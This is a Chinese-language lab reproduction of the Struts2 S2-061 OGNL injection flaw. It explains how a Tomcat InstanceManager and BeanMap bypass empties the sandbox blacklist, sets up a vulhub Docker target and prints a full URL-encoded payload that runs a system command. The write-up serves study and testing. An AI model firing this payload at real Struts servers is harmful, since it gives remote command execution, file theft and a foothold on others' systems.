影响范围

  • Struts 2.0.0 - 2.5.29

漏洞类型

OGNL 表达式注入

操作系统限制

配置要求

默认配置

漏洞利用

执行命令,可以执行各种敏感操作,例如任意文件读取,植入木马,内网探测

利用原理

Struts 内部对象虽然被锁死了,但是 Struts2 运行在 Tomcat 容器,攻击者可以利用 Tomcat 的 InstanceManager 绕过沙箱(相当于 CVE-2021-31805 是对 CVE-2020-17530 修复的绕过),InstanceManager 新建的 org.apache.commons.collections.BeanMap 对象能绕过普通权限检查,直接操作 memberAccess 的私有属性,利用 BeanMap 的 put 方法把 excludedClasses(Struts2 内部的黑名单)改为空,再通过攻击链执行敏感命令。

漏洞复现

用现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/struts2/s2-061
#拉取镜像
docker-compose up -d

访问 http://公网: 8080,执行 OGNL 表达式 %{(11 + 11).toString()},下面是对符号 url 编码的 payload,并打开 F12 查看属性,发现属性值出现了 OGNL 表达式计算的结果,说明存在注入点

1773370569956

1
2
#url编码特殊字符
http://公网:8080?id=%25%7b+(11+%2b+11).toString()%7d

注入恶意 payload,可以将 id 替换成其他命令,通过 F12 查看回显

1
?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}

1773370598158